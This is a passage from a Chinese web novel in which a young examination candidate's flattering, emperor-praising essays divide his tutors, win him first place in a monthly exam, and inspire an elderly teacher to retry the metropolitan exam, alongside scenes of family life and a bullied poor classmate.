“就这样的文章,虽还算能看,但是想要在院试中一鸣惊人,是万万不可能的。” “甚至还有黜落之风险!” “可是生病了?状态不好?” 周夫子关怀道。 方子期无奈一叹。 状态不好确实是真的。 “夫子。” “骤然更改文风,实在难受。” “提笔时,脑子也如同浆糊一般,不知所云。” “不写那些精妙文学,我实无灵感啊!” “写起文章来更是如此嚼蜡般,毫无滋味。” 方子期敲了敲麻木的脑袋。 这科举之途,可不是你记忆力好就能作出好文章来的。 想要好文章,要以深厚的文学底蕴为基础,再加上写作时迸发出来的灵感相融合。 如此才能使文章充满灵气! 否则那就是一篇毫无生气的文章。 看起来就像是在看流水账一样,毫无新意可言。 “这……” “不该如此啊!” “改变文风固然艰难。” “但是这文章退步这么多也不是事啊!” “哎!” “子期!” “看来你真的是佞臣之体啊!” 周夫子悠然长叹道。 方子期:“……” 好好好!又说这话是吧? “你且再做一篇文章,我再看看。” 周夫子不信邪,随即又出了道题…… 方子期写完后,周夫子一边看一边摇头。 “我若是阅卷官。” “定然是不能让你过院试的!” “僵硬!麻木!满篇皆腐朽之气!” “与其写这样的文章,还不如让你写那些阿谀之文!” “说不定大宗师看在你文章精妙的份上,让你过了那院试。” 周夫子此刻也很头疼。 他这宝贝徒儿…怎么突然就不灵了呢! “照着如此下去!” “说不定你在院试中真要输给顾清如那家伙的徒儿了!” “他那徒儿,还延请了省学的夫子亲自授课!” “其本身资质也不差。” “我周明谦的弟子,岂能被他顾清如比下去了!” 周夫子吹胡子瞪眼的,此刻倒是起了争强之心。 “夫子。” “要不然…我还是按照自己的想法写文章。” “等文章写完后,我将那些奉承之言删去,如何?” 方子期灵光一动。 这也是没办法的办法了。 周夫子微微思索后点头道:“或可一试!” 随即方子期拖着疲惫的身体继续写文章…… 此刻身体虽疲惫,但是按照自己的想法放开了写…… 方子期顿感全身上下都轻快了许多。 如果说刚才做文章就像是在犁田,那现在做文章就如同骑乘着汗血宝马驰骋在一望无垠的草原之上! 实在是太痛快了! 各种妙语,随手写下! 各种典故,巧妙应用! 各种圣人之言,脱口而出…… 怎一个快意了得! 这篇文章写完后,方子期感觉自己全身上下的郁气都消散了。 取而代之的是,满满的灵气! “精妙!” “这才是子期你的真实水准啊!” “好文章!” “当有院试案首之资!” “妙!” “妙!” 周夫子皱起的眉头终于松开了。 不过此刻仍旧有隐忧…… 此刻的方子期将这篇文章从头到尾梳理了一遍,随即将其中的各种政治正确的言论都删去了。 虽然方子期觉得这才是这篇文章最精湛之处。 但是为了迎合那位崔大宗师的喜好,只能忍痛割爱了。 删删减减结束之后。 周夫子再度看了一遍。 “不错!” “虽还有些瑕疵,但是比之前那两篇文章要好得多了!” “至少这篇文章过院试没什么问题!” “哎!” “子期!” “那你今后做文章的时候就照着这个办法来吧!” “先按照自己的想法去写,天马行空地去写,不要受拘束。” “等写完之后,再删除那些阿谀奉承之言!” 第86章 月考,圣主垂拱而天下治 “那夫子…我…我怎么办啊!” “我这文章写来写去…总有那股味啊!” “不写那些阿谀之言,我写不出来文章了啊!” 花允谦哭丧着脸,此刻满脸的纠结。 难! 实在是太难了啊! “要不然你也试试,先按照自己的想法写文章,然后再删减阿谀奉承之言?” 周夫子道。 “好的夫子!” 花允谦点点头,随即试验了一把…… 周夫子看后。 老脸漆黑。 “狗屁不通!” “这是文章吗?” “拉只狗来写,也比这好!” “文不通意!” “上下亦不连贯!” “读起来拗口至极!” “就这文章,别说是院试了,就是县试也难过!” 周夫子此刻倒是没搞什么迂回策略。 该是怎样就是怎样。 方子期看了一下花允谦写完又删减之后的文章…… 嗯! 夫子还是骂得轻了。 毕竟狗也写不出来这么拉胯的文章。 花允谦双手一摊,麻了! 折腾了几天。 花允谦也就认命了。 “算了算了。” “就这样吧!” “大不了多考几次院试!” “只要遇上个喜欢阿谀文章的大宗师,我就能过了!” “我年龄还小,还来得及!” 花允谦随即进行了一番自我安慰,随即就去享受美食了。 读书哪有美食重要! 这几天,花允谦都是在方子期家蹭完饭就跑,生怕被周夫子逮住做文章。 某日。 从府学下学。 方子期、方仲礼、方砚秋还有花允谦各自抱着三本从府学藏书阁借出来的书,然后统一放在一起,这些都是给方子期借的。 “还要不要人活了……” “一天读书十二本……” “子期啊子期!” “跟你做朋友实在是太难了!” “无时无刻不在被你打击啊!” “打击地遍体鳞伤!” “今日我定要多吃几块红烧肉补补我这幼小的心灵!” 花允谦嚷嚷了几句,气氛倒是活络了不少。 这个时候,方子期见到朱正恩刚好从府学走出。 两人打了个照面,各自点了点头,算是打招呼了。 这几日方子期同朱正恩时常同时请教于夫子,所以见面的机会也多了一些。 “朱同窗!” “我们两家既同在一处。” “不如你坐我家的骡车一起回去吧!” 方子期邀请道。 几日相处下来。 方子期对这个时常被霸凌却又时刻将脊背挺得直直的寒门学子多了一份敬重。 出身寒微,不是耻辱,能屈能伸,方为丈夫! 对于朱正恩家的情况,通过他娘苏静姝,方子期倒也了解了一些。 朱雀街上的宅子本来确实是他家的,后来朱正恩的爹朱秀才生了一扬大病走了,族人就将他家的田地宅院都夺走了。 至于这宅院,其实也已经抵兑出去了,名义上算是族产了,只是朱正恩的娘以死相逼,族里面才算是给他们留了个容身之所,说是等朱正恩满了十八岁后,就要从宅子里迁出来。 而要想保住宅子,自然就是考功名最实在了。 若是朱正恩此番院试能中秀才,那些个所谓族人自然也就不敢过于放肆了。 见这朱氏族人的行径,再想想方族,方子期心中莫名一暖。 幸好他姓方。 “不必了。” “我走回去即可。” “多谢方同窗好意。” 朱正恩如往常那般,仍旧冷冰冰的,一副生人勿近的样子,说完,闷着头又往前走了。 “子期!” “你同这怪人有什么好说的!” “对谁都冷冰冰的!” “像是谁都欠他几百两银子似的。” 花允谦有些看不惯道。 “个人有个人的缘由。” 方子期也没多说。 转眼间。 进入府学都有大半个月了。 方子期他们本就是半路入学的,所以刚好赶上了本轮月考…… 因为月考成绩关乎着奖励的银子。 所以方子期和方仲礼还是非常重视的。 在考试中也算是竭尽全力、奋力一战。 毕竟跟谁过不去也不能跟银子过不去啊。 乙二班的月考题目是:“其身正,不令而行;其身不正,虽令不从!” 内容大概是:当一个管理者自身的品行端正、能够做到以身作则的话,那就算不去发号施令,他手底下的人也会照着他的样子去做!反之!若是管理者自身的行为不端的话,那就算下了命令,也无人愿意去听从。 方子期略微思索后 就开始破题。 “政之枢在己,令之效由身!” “盖 “正” 则不令而从,“不正” 虽令弗从,此非令之强弱,乃身之正邪使然也!” …… 这一次方子期还是凭借本心写的文章。 所以在文章难免就会出现一些赞誉当今陛下的言语。 也就是方子期认为的政治正确之言,但是周夫子认为的阿谀奉承之言。 此刻摆在方子期面前的选择有两个。 要么直接将这篇文章原封不动地交上去。 要么删减掉政治正确的言论再交上去。 之前光忙着钻研那位崔大宗师的文风喜好了,倒是不曾研究过府学夫子们到底喜欢什么文章。 “也罢!” “就这样吧!” “文章还是纯天然的好。” “万一有阅卷的夫子慧眼识珠呢?” 方子期忍不住挑挑眉,心中暗道。 写完之后。 方子期就交卷了。 这又不是什么县试府试,还要顾忌这个顾忌那个。 在考扬上枯坐,还不如去藏书阁多看会书。 所以…… 方子期是第一个交卷的。 又当了一把出头鸟。 “嗯?” “这么快?” 负责监考的秦默存微微一愣,随即拿起方子期的文章看了起来。 越看,秦默存的目光愈发明亮。 浑浊的双目中放射出异样精芒! “政之枢在己,令之效由身……” “盖 “正” 则不令而从,“不正” 虽令弗从……” “此非令之强弱,乃身之正邪使然也……” “破题和立意皆不错。” “不愧是八岁的府案首,果有天资!” 秦默存心中暗自感叹道。 紧跟着,他的目光继续往下看…… 越看,表情越复杂…… “陛下圣明烛照,身正如日月经天,虽未尝以峻法威吓万民,而四海之内莫不乡风慕义,此正应 “其身正,不令而行” 之至理也。” “自陛下临御以来,躬行节俭而斥奢靡,体恤农桑而轻徭役,宫中未尝增一珠玉……民间已遍起耕桑之乐!” “反观前朝昏聩之君,或沉湎酒色而令不行,或暴敛于民而民不服,皆因 “其身不正” 之故!” “今陛下以尧舜之心为心,以禹汤之德为德,身正则天下正,令未发而事已成,此乃天授圣德,非人力可及!” “史册所载 ‘圣主垂拱而天下治’,莫过于陛下今日之盛景也!” 第87章 无人扶我青云志!我自踏雪至山巅! “咳…咳咳咳……” 秦夫子忍不住咳嗽出声,一众考生下意识抬起头看向他。 “好好答题!莫要东张西望!” 秦夫子呵斥道。 只是此刻他的心思已经完全沉浸在方子期的这篇文章中了。 “文章竟然还能这般作?” “当初会试之时,若是我也能稍微通达一些……是不是也有机会中榜?” 秦默存心中忍不住泛起涟漪。 方子期的这篇文章让秦默存对科举又产生了新的希望。 虽然他现今已经到了知天命的年龄了。 但男人至死都是少年! 少年热血仍旧汹涌! 此生未曾进士及第,实乃平生所憾! 放手一搏! 最后一搏! 也好过在府学混吃等死!庸碌一生!籍籍无名! 秦默存握着考卷的手不由得跟着用力…再用力。 只不过在府学中在职是不可能参加科考的,如想参加会试,还得先离职才行。 秦默存的思绪已然不在此间考扬内了。 他的心思和灵魂,现如今都在京城的贡院之中! …… 方子期在府学藏书阁看书许久,才看到方仲礼等人到来。 他们帮方子期借阅了书籍后,来到看管藏书阁的老者面前进行登记。 看管藏书阁的老者此刻已经见怪不怪了。 这几个家伙每天都要来借书还书。 而且每次借阅的书还都不一样。 并且每次基本上都同行。 也不知道在作什么秀。 天天借阅新书,看得过来吗? “贪多嚼不烂!” 老者忍不住提醒了一句。 “是!” “麻烦了!” 方仲礼老脸一红道。 不过这书该借还是得借。 出了府学,上了大青骡车。 众人的话就多起来了。 “哎!” “这次感觉考得不好。” “夫子出的题目太难了!” “感觉比院试都难得多。” “方叔!” “你是如何作答的?” “感觉如何?” 方砚秋忍不住叹气道。 因为他和方仲礼同在丙三班,所以讨论起月考来自然更有话说。 方仲礼不语,只是默默摇头,显然考得也不咋地。 倒是花允谦此刻满脸笑容,丝毫没有担忧月考之感。 “允谦兄,看你这样子,答得不错?” 方砚秋酸酸道。 “不!” “答得一塌糊涂!” “不过也没关系。” “左右都是倒数第一。” “乙一班一堆秀才。” “我考不过不是很正常吗?” 花允谦理直气壮道。 “子期呢?” 方砚秋继续道。 “我?” “就那样吧。” “区区月考罢了!” “随心所欲些。” 方子期淡淡道。 若非为了名次的银钱奖励,他还可以更坦然些。 月考过后。 休沐了两天。 在这两天里。 方子期等人也没闲着。 在周夫子的带领下,开始试写院试文章。 近些年各个省份的院试题目都被周夫子搜集过来。 先让方子期等人作答。 随即周夫子在批改后,又将所有院试前几名的文章都拿来教导。 读书的日子虽然清苦了些,倒也踏实。 等两天后回到府学。 月考的成绩自然也就下来了。 方子期刚入乙二班,徐书恒就一脸激动地走了过来。 “子期兄!” “你是第一名!” “不愧是府案首!” “刚来府学就大放异彩!” “实在是太厉害了!” 徐书恒忍不住给方子期竖了根大拇指。 “啊?” “我第一?” 方子期愣了一下,有些难以置信。 毕竟这乙二班也是有部分秀才的。 秀才占比虽比不得乙一班,质量也不如乙一班,但是秀才到底是秀才啊。 整个乙二班中近三十人,有足足五名秀才! 也就是说方子期碾压了这五个秀才! 而现在方子期只是挂着个童生的头衔啊! “呵!” “有什么好得意的!” “不过是一次月考罢了!瞎猫碰到死耗子!” “就是就是!” “我听说这一次是秦夫子执意要将方子期点为月考第一的,若非如此,他连前十都到不了!” “其他夫子都对方子期的文章非常不看好,觉得他有辱斯文!只知吹捧阿谀!实乃吾辈读书人之耻!” “这秦夫子也当真是老糊涂了……” “莫不是秦夫子收了那方子期的银钱?特意给他造势?” “我听说这方子期和知府大人还有关系,莫不是秦夫子受了知府大人的嘱托?” “这不就是徇私舞弊吗?” “吾辈羞与此等弄虚作假之人为伍!” …… 妒忌使人癫狂! 这话确实没错。 好在方子期早就习惯了。 还是那句话。 不遭人妒是庸才。 我方子期时刻被人妒忌,说明我是真的才学出众啊! “子期兄!” “莫要被那些人扰乱了心智!” “他们都是吃不到葡萄说葡萄酸!” “若非子期兄真有真才实学,怎么可能得第一!” “子期兄!” “照着这个趋势下去,我也就只能同你再做一月同窗了!” “下月的月考,你再得优评,可就要入乙一班了!” 徐书恒一副恋恋不舍的样子。 “额……” “徐兄努努力,也是可以的!” 方子期勉励道。 “我?” “我不行!” “本次月考才得了第十名罢了!” “倒是那个朱正恩,这次月考居然得了第三!” “虽为人冷淡,但是学问的确不错。” 徐书恒感慨道。 “哦?” “那确实不错了。” 方子期眉毛一动。 要知道现在第一名是他。第二名也是一名秀才,第三名既然是朱正恩的话,那相当于他直接碾压了乙二班的另外四名秀才了。 这样的学问,确实算得上是优等了。 按照府学的规定,乙二班每次月考前五名都可获优等。 第一名得十两纹银奖励,第二到第五名得五两纹银奖励。 小试牛刀,就拿了十两银子,方子期还是很满意的。 事实证明,是金子在哪里都会发光的。 第88章 方子期:我收了个举人当弟子 秦夫子迈着沉闷的步伐走了进来。 眼见着学堂内一片嘈杂,顿时呵斥道。 见秦夫子到来。 一众学子只能止语。 随即秦夫子开始授课。 不知道是不是方子期的错觉。 总觉得今天秦夫子授起课来神采飞扬、激情满满。 完全不像之前那般死气沉沉、慵懒麻木。 讲起各种典故来,更是诙谐风趣,满面春风。 方子期听着听着…… 神色有些愕然。 这位秦夫子…没中邪吧? 区区两日时间罢了! 怎么能变化如此之大? 课间时。 方子期照例去请教问题。 “子期!” “来!” “你月考的文章极好!” “才思敏捷,颇有见地!” “破题中肯!见解独特!” “尤其是…额…后面的点睛之笔!” “不知你当时是如何写出的那些点睛之笔?” “可有什么奥妙之处?” 秦夫子刻意压低声音道。 方子期:“……” 夫子啊夫子。 你是夫子啊! 我才是学生! 我来找你问询的啊! 不过夫子都问了。 方子期要是装聋作哑也不合适。 随即,方子期就将自己写出那些点睛之笔,也就是政治正确之笔墨的过程简单说了一下。 “其实就是秉持着一颗忠君爱国之心!” “时刻将君父作为榜样!” “陛下乃天之子!乃是万民和朝堂衮衮诸公之楷模!” “能够成为天之子的人,自然品德高尚,学问通天!” “我崇拜这种人,不是理所应当的吗?” “我用再浓郁的笔墨去描绘此等人物,不也是恰如其分的吗?” “甚至于…再多的赞誉也无法彻底形容陛下之伟岸!” …… 方子期随即同秦夫子展开了一扬激烈的讨论。 越讨论。 越兴奋。 后来因为要注意影响,他们干脆去了秦夫子准备课业的屋子。 一时间。 两人颇有一种相见恨晚之感! “听君一席话,胜读十年书!” “我这知天命之龄,在忠君爱国上的见解,不如子期多矣!” “子期!” “以后课间,尽管来我这里!” “你我要经常讨论,相互学习才是!” “对了子期,你家住何处?若有闲暇,我就去你家寻你!” “我家就在府学旁边的庆明街!你亦可随时来寻我!” “讨论忠君爱国之道,其乐无穷也!” 秦夫子此刻大受启发,看向方子期的目光也愈发和善,甚至充满了敬佩! 怪不得圣人云:有才不在年高,无才空长百岁! 达者为师! “师不必贤于弟子,弟子不必不如师……” “今日,我才方有如此感悟!” “子期!” “在忠君爱国之道上,你是吾师也!” 秦夫子悠然长叹。 方子期张了张嘴。 这…… 我都成你老师了? 这位秦夫子倒也确实是个妙人! “有机会,我定会去庆明街拜访夫子的。” “能同夫子谈经论道,是子期之荣幸。” 方子期一脸实诚道。 这话倒是没错。 这秦夫子早些年就中了举人,只是后来会试考了许多年不中罢了。 中了举人后,秦夫子又钻研了这么多年学问,又在府学授课这么多年。 这就是个巨大的才学宝库啊! 方子期能同这样的人多多交流,对于提升自己的学问也是至关重要的。 下学后,按照常例从藏书阁借完书籍,众人回到大青骡车。 随即开始通报成绩。 “你们猜!我得了多少名?” 花允谦一脸嘚瑟道。 “嗯?” “允谦兄,看你这样子,难不成你名次很靠前?你在乙一班中都能得到好名次?” “这也太厉害了吧!” 方砚秋忍不住惊诧道。 同一群秀才比试,若是能得一个中间名次,那也很强大了。 “额…也没那么好!” “就一般吧!” “第二十八名!” 花允谦不无骄傲道。 “如果我没记错的话,乙一班拢共就二十九人吧?” 方子期抽了抽嘴角道。 这花允谦越来越抽象了。 “是啊!” “我是倒数第二名!” “怎么了?” “已经很好了好吧!” “倒数第一名还是个秀才呢!” “我比那个秀才还要高一名,这岂不是说明我比秀才还厉害?” “子期!” “你说我这次中了院试后,要不要努努力,顺带将乡试也过了?” 花允谦开始异想天开了。 众人无不抽搐嘴角。 同这种恬不知耻之人交谈,属实心累。 “爹!” “砚秋兄,你们呢?名次如何?” 方子期询问道。 “我第四名!” “方叔第十四名!” “可惜了。” “要是进了丙三班第三名,还有一两银子的奖励呢!” 方砚秋叹气道。 “已经很不错了!” “这毕竟是咱们在府学的初次考试!” “等再学习一番,成绩还能提升!” 方子期宽慰道。 “你们都还可以。” “只有我…拖后腿了。” “在丙三班还落了个十四名。” 方仲礼忍不住脸红道 “爹!” “这丙三班基本上都是童生。” “你本是府试孙山之名,相当于童生尾巴。” “现在能在一群童生中占据中间名次,已经是跨越式的提升了!” “爹!” “看来府试之后,你学问又精进了不少。” “这努力倒是没白费。” 方子期坦言道。 他这话,倒是没瞎说。 毕竟府试的时候,方仲礼确实是榜单吊车尾。 差一点点就落榜的那种。 但凡考运差一点,都考不上。 现在能在一群童生中杀出来,占据中间往上一点点的成绩,属实不容易了。 “嗯!” “和旁人比倒是有些进步。” “但是同你们这群小天才比……” “拍马也赶不上啊!” 第89章 忠君爱国之道,万道之首 “我儿真厉害!” “旁人读书费钱!我儿读书还能挣钱!” “子期你放心,银子娘都给你存着!” “等你长大了,给你娶媳妇……” 苏氏美滋滋道。 家里又进账了。 最近这大半个月可都忙着规整家里面的事物,还没来得及将卤肉和红烧肉的买卖做起来呢! 现在家里面人口多,这一大家子的吃喝嚼用可也不少。 有个进项也是好的。 府城里面,啥都贵! 为了节省点菜钱,苏氏已经在院子里开辟了一块地当菜园了。 “今天特地噶了不少五花肉!” “正好给你们做红烧肉吃!” “你们且休息一会!” 苏氏说完,带上大丫去做饭了。 当然。 方子期等人也不能闲着。 看会儿书后,就听着周夫子讲解《院试优秀文章集》! “子期!” “你得了月考第一?” “力压了班内的五个秀才?” “这十两银子是月考第一的奖励?” “如此这般,确实不凡……” “这府学乙等班,可不是什么人都能进的。” “除却少数的几个靠着关系进去的,这乙等班中大多都是有真才实学的。” “子期你能得月考第一,说明你的文章可以压得住那些普通秀才了。” “子期,你月考的文章,可还记得?可能默写出来?” 周夫子此刻忍不住来了些兴致,眼前一亮道。 “额……” “好吧。” 方子期瘪了瘪嘴。 这倒是不难。 他的记忆力素来很好,否则也不会每天读书十几本了。 只是…… 他这文章,肯定不是周夫子喜欢的就是了。 方子期将月考的题目和文章都默写了一遍。 看到开头。 周夫子大喜:“妙!破题妙不可言!子期!月考第一名副其实!” 周夫子赞誉道。 随即继续往下看…… 越看越沉默。 到最后。 周夫子倒也习惯了。 看得多了。 硬是将方子期写的这些阿谀之言给看顺眼了不少。 “倒确实是子期你的文风。” “如若碰到喜欢你这种文风的阅卷夫子,确实能一鸣惊人。” “可……” “据我所知。” “府学之中的那些夫子,大多岁数都比较大了。” “素来崇尚清流之道。” “怎会如此呢?” “你这篇文章,是谁给你点的月考第一?” 周夫子好奇道。 难道是他太久没有参与科考,所以这科考的规矩和文风改了? 春江水暖鸭先知…… 要是科考的风向改了,像省学和府学这些地方肯定都是第一个警觉的。 “是秦夫子。” “也是我们乙二班的授课夫子。” 方子期道。 “秦夫子?” “府学的秦夫子…难不成是秦默存夫子?” 周夫子脸上的表情更复杂了。 “是的夫子!” “就是秦默存夫子。” “他觉得我的忠君爱国之道极好。” 方子期老老实实道。 “怎会如此呢……” “他……” “老学究…老古董啊……” 周夫子喃喃自语。 咚咚咚…… 突然。 外面传来阵阵敲门声。 随即方虎走了进来。 “子期!” “有个自称是你夫子的人找你。” “我见他像个读书人,将人领进来了,可要见一见?” 方虎询问道。 方子期愣了一下。 我的夫子找我? 随即方子期走出门外一看…… “秦夫子?” “怎会是您!” “您怎么来了!” 方子期连忙走上前招呼道。 “子期!” “日间不是同你说了吗?” “只要我有闲暇,定是要来你家向你请教忠君爱国之道的!” “在这上面,你可是我的老师!” 秦夫子半开玩笑道。 此刻包括方仲礼在内的众人都跟着拘束起来了。 情况…… 复杂了。 府学的夫子来了! 方仲礼、方砚秋和花允谦可都是府学的学员。 而素来。 学生看到老师都会如同老鼠见到猫一样。 这是天然的血脉压制。 只是让方子期感到愕然的是,周夫子此刻居然也是一副诚惶诚恐的样子。 这…… 就很玄妙了。 “老师。” “您来了!” 周夫子恭恭敬敬地对着秦默存行弟子礼。 “明谦?” “你怎会在此?” “你我倒是数年未见了!” “倒是清如那小子还时常去看我!” “你这家伙。” “都多久没个音讯了!” 秦默存看向周明谦,忍不住抱怨道。 “老师勿怪。” “学生多年不举,在科举之业上蹉跎岁月,实无颜面见老师。” 周明谦叹了口气。 考了这么多年,连个举人都没拿下,丢人啊! “照你这么说,我考了这么多年没中进士,我也无颜面对江东父老了?” “你啊,其实在学问上同清如差不多,甚至还要更胜一筹。” “就是心魔太重,又少了几分气运。” “做文章的时候,过于遵循古礼了!” “在这方面,你倒不妨同子期学习一下忠君爱国之道。” “或有一些新的感悟。” “在忠君爱国之道上,我已认子期为吾之师!” 秦夫子笑着道。 周明谦:“……” 我麻了啊。 我的学生成了我老师的老师…… 子期是你老师,你是我师父,那子期成我啥了?我是不是还要称呼子期一声师公? 周明谦顿时打了个哆嗦,连忙将脑子里面那些乱七八糟的想法给清理干净。 太可怕了! “老师,之前您不是这么教导我们的!” “您说读书人要有傲骨,要有梅花凌寒独自开的坚毅!” “切不能因为一时得失而急功近利。” “更不能走上阿谀奉承之路!” “您说吾辈读书人当如劲松立崖,风来不折腰,雨打不低眉!” 第90章 五十岁,正是考科举的好时候 方子期忍不住张了张嘴…… 这些话…… 好熟悉啊! 不都是他今日同秦夫子说过的吗? 顶多也就改了几个字…… 好家伙…… 秦夫子的记忆力也不差啊。 这是真将自己当老师了? 那自己跟周夫子之间的关系怎么论啊…… 我叫你夫子,你叫我师公? 咱俩各论各的。 方子期心中不无恶趣味地想着。 “忠君爱国之道…最纯粹……” “我……” 周明谦感觉自己的理念崩塌了。 此刻莫名地感到一阵恍惚…… 难道之前真的错了? “秦夫子。” “这是我爹!” “这是我两位好友花允谦和方砚秋……” “他们都在府学中读书。” 方子期简单介绍了一下。 方仲礼等人连忙过来见礼。 这位可是周夫子的老师。 可不能怠慢了。 方仲礼忍不住瞥了自己的宝贝儿子一眼。 心中暗道,不愧是我儿子!走到哪,拐到哪! 之前拐了周夫子。 现在更厉害了,连府学的夫子都拐带回家了。 众人进去里屋。 连正堂之中摆放了不少桌子,桌子上还有不少批改的文章。 秦夫子顿时诧异:“你们从府学归家之后,还在读书?” “老师。” “他们归家后,学生再给他们讲解一下院试的一些优秀文章,权当是提前感受院试了。” 周明谦老老实实道。 在自己老师面前,他可不敢有丝毫懈怠。 “孺子可教也!” “如此刻苦学习,必会有所成就!” 秦夫子赞誉道。 秦夫子来之后没多久。 方子期家就开饭了。 秦夫子原本想作势就离开了。 但是方子期自然给拦住了。 夫子来了家,难不成一顿饭都不给吃? 那成什么了? 饭桌上。 摆放在最中间的就是苏静姝烹饪的红烧肉…… 色泽娇艳欲滴,香味扑鼻,令人食欲大开。 秦夫子素来不喜吃肥肉,但是今天见众人皆对这红烧肉十分青睐,也忍不住夹了一块。 “嗯?” 吃了一口之后,秦夫子就再也不能免俗了。 随即跟着众人。 一块接着一块地夹…… 此刻他倒也顾不得什么食不言寝不语的规矩了,忍不住道:“苏娘子,这红烧肉究竟是如何烧制的?这味道比我之前在各大酒楼吃的,要美味太多了!可是这猪肉有什么玄妙之处?” 面对秦夫子的疑问,苏静姝自然知无不言。 “秦夫子,他们那些大酒楼买的猪肉肯定比我买的好!” “这肉好吃,主要是放了酱油。” “就是用豆子酿造出来的酱油。” “我儿子子期想出来的配方!” “我儿子打小就聪明……” …… 很快,苏静姝就如同竹筒倒豆子般,将方子期曾经干过的那些事说道了一遍。 “大豆…酿造酱油……” “酱油烧制红烧肉……” “绝美佳肴!” “子期!” “没想到你非但在读书上天资聪颖,在实务上亦是如此出色!” “我实不如也!” 秦夫子感叹道。 吃过饭后。 秦夫子兴致大发,忍不住考教了一下方仲礼几人的课业…… “如若不加努力。” “院试恐难过关。” “仲礼啊!” “你既是子期之父!” “不该如此啊!” 秦夫子忍不住将目光在方仲礼和方子期脸上仔细端详了许久。 发现两人确实长得相像。 应该没开过什么伦理的玩笑。 面对秦夫子的质问。 方仲礼头皮很麻。 吾儿太优秀,卷完自己的堂哥开始卷他爹了! 我给神童当爹,压力山大啊! “秦夫子。” “许是因为我个人天资愚钝吧!” “子期可能像他娘。” 方仲礼低头无奈道。 秦夫子点点头,也只能这么解释了。 随即,秦夫子的目光看向周明谦。 “你同时教导这么多学生,可会感到压力?如若不然今后府学下学之后,我也来帮你教导他们吧!” 秦夫子抬起头来,目光坚定道。 “啊?” “老师,您亲自来教导他们?给他们开小灶?” “这不好吧……不好麻烦老师的……” “就子期他们几个人,学生还是能教得过来的……” “额……” 周明谦拒绝的话说到一半,就停住了。 他发现自家老师那目光中开始透着一丝显而易见的威胁。 这…… 老师想天天来这里给子期仲礼他们开小灶授课? 不…绝不是! 自家老师什么德行,旁人不知道,自己不知道吗?素来不是个喜欢给自己找麻烦的。 既愿天天来,一是想要天天同子期商讨一下忠君爱国之道。 二嘛……那必然就是被苏娘子那一手红烧肉将胃征服了! 呵! 没想到我这老师竟也是个吃货! 周明谦心中大定! “学生当然没意见!” “老师若是能日日来,学生也能受益匪浅!” 周明谦连忙道。 现在就将决定权交给方仲礼和方子期了。 毕竟这家是他们的。 “秦夫子能来教导我们,是我等的荣幸!” “就是怕夫子过于辛劳了。” 方仲礼连忙道。 “这点辛劳算得了什么?” “读书人若是耽于享乐,岂不是成了酒囊饭袋?” “教导于你们的同时,也是为了让我自己也体会一下科举考试。” “我已打算参加三年后的春闱了!” 秦夫子语不惊人死不休。 众人直接惊呆了。 尤其是周明谦。 彻底麻了。 我这老师…… 都到了知天命的年龄了啊! 五十岁了啊! 在古代。 逝世的平均年龄还没五十岁呢…… 连四十几岁的人都可以自称老朽了…… 五十岁…… 孙子都能考科举了吧? “老师,科考艰辛,您…您含饴弄孙、颐养天年不是更好吗?” “这会试一考就是几天。” “老师您的身子骨……” 周明谦忍不住劝说道。 第91章 瘸腿,寒门荆棘路 是啊! 同老师比起来,他的这点年龄算什么? 左右不过才四十岁! 而老师都五十岁了啊!尚且还在为了春闱而战! 他才四十岁!更是拼搏的好年龄! 周明谦眼眸中露出一抹坚定。 或许…他也应该为下一次的乡试决战一次? 今晚的授课质量很高。 除了周夫子这个副举人,还有秦夫子这个真举人一起教导,方子期等人自然获益良多。 虽然众人此刻都在府学中上课。 但是上的都是大班课,一个班差不多都三十人左右。 夫子又不可能时刻教导于你。 而这私底下的开小灶就不一样了。 有两位夫子来,基本上和一对一私教也没什么区别了。 而秦夫子对于方子期的忠君爱国之道十分推崇。 当听说周夫子竭力扼制方子期的忠君爱国之道时,顿时破口大骂! “老师。” “我也没办法啊!” “这崔清彦崔大宗师素来喜欢质朴的文章,对于那些阿谀奉承的文章极其厌恶。” “我若是不压一压子期,他若是在院试中开罪了崔大宗师可如何是好?” 周明谦无奈苦笑。 秦夫子默然皱眉。 “若是那崔清彦当真因此而黜落了子期,那也枉费清流之名了!” “每个人的文章都有其特色!” “强行改变文风,不智也!” “那些个清流文人!” “满嘴的仁义道德!” “却对忠君爱国之文章却竭力打压!” “当真是越缺什么,就越爱表现些什么!” “子期!” “你就遵循自己的道,走下去。” “来日,真要是到了院试的考扬上。” “再随机应变就是了。” “真要是不行……” “到时候删删减减,未有不可。” 秦夫子倒也没将话说得太满。 毕竟这院试中,大宗师的话语权实在是太重了。 第二天。 方子期照常去府学。 只是今天见那位朱正恩,脸上有伤,走起路来也一瘸一拐的。 再看那通判侄子史苛之还有那几个官宦纨绔一脸嬉笑的样子。 不用猜方子期也知道,朱正恩这瘸腿,恐怕…是被这几个家伙打断的。 “以后。” “跟我一起上下学吧。” “坐我家的骡车。” 方子期再度邀请道。 同出寒门。 方子期能够体会那份辛酸。 “我……” 朱正恩双目一亮,显然极为心动。 但是最终还是摇头拒绝了。 “多谢好意。” “不用了。” “下个月,我就能去乙一班了。” 朱正恩深吸一口气道。 他不想欠下人情。 而且。 也不希望给方子期带来麻烦。 君子相交淡如水。 没有利益纠葛,才更纯粹。 对于朱正恩而言,他现在的目标就是做好学问,然后尽快在下次月考中再得个优评,如此就能顺利晋升乙一班。 他觉得自己去了乙一班,就能彻底摆脱那些恶魔了。 “小子!” “你同那朱正恩关系极好?” “怎么?” “想替他出头?” 阴沟鼻青年史苛之冷笑一声走上前,眼神中透着审视。 随即,那几个纨绔纷纷上前。 一副要随时霸凌方子期的样子。 “你们要做什么!” 徐书恒当即走上前,皱起眉头瞪着众人。 “徐书恒!” “别蹚这浑水!” “这水太浑,你蹚不起!” 史苛之冷笑道。 徐书恒的老爹不过就是个八品经历罢了。 而他叔叔可是正六品通判! 史苛之还是非常自信的。 “哦?” “是吗?” “那这水,你就能蹚得起了?” 不知何时。 秦夫子已经出现在了后面。 “不学无术!” “品行不端!” “老夫若是执意要将你开革出府学,纵使史大人也无话可说!” 秦夫子冷哼一声,目光扫向那几个纨绔。 史苛之脸色一变。 他没想到秦夫子居然如此维护方子期…… 方子期没什么背景,得罪了也就罢了。 但是秦夫子不说自身就是举人,其背后之家族也极其庞大,俨然不是他所能得罪得起的。 “夫子说笑了。” “我…我就是觉得课间太无聊,所以想着同…同方同窗还有朱同窗开个玩笑罢了。” 史苛之强行挤出笑容道。 “刚才你可不是这么说的。” “刚才你还说要在府学将我们毒打一顿扔出去呢!” “还说有你叔父通判大人罩着,整个府学无人敢同你作对!纵使是夫子也要看你脸色行事!” 方子期一本正经道。 这些话史苛之确实说过,只是不是现在说的罢了。 这种纨绔平日里说过的狠话多了。 “你……” 